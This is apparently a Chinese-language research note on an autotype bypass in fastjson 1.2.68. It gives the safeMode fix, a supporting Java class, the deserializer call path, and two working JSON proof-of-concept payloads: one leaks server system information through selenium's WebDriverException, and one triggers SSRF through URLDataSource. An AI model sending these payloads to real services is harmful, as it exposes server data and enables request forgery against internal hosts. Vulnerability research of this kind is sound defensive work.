參考:
fastjson 1.2.68 最新版本有限制 autotype bypass
1.2.68加入了一個safeMode功能,默認未開啓,需要用戶手動開啓。以下利用在默認未開啓情況下可利用。
修復方法:
ParserConfig.getGlobalInstance().setSafeMode(true);
依賴:
<!-- test for fastjson 1.2.68 autotype bypass -->
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>3.141.59</version>
</dependency>
在這裏下斷點:
selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
可以獲取到一些敏感信息:
PoC:
{"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}
還可以看到一些方法棧信息,看到一些服務端使用的框架的信息。
當然這個前提是需要WEB應用的classpath存在selenium-api
。
作者提出還有一個思路可以SSRF(當然也需要相應的classpath):
從mvn引入,或者自己寫一個類:
package org.joychou;
import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;
public class DatasourceException extends Exception {
public DatasourceException() {
}
private DataSource dataSource;
public DataSource getDataSource() {
return dataSource;
}
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
}
PoC:
{"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}
細節
由於@type指定了爲java.lang.Exception
,
fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
得到的deserializer 爲ThrowableDeserializer類型。
跟進:
obj = deserializer.deserialze(this, clazz, fieldName);
javax.activation.URLDataSource#getContentType
javax.activation.URLDataSource#getInputStream
調用兩次HTTP請求。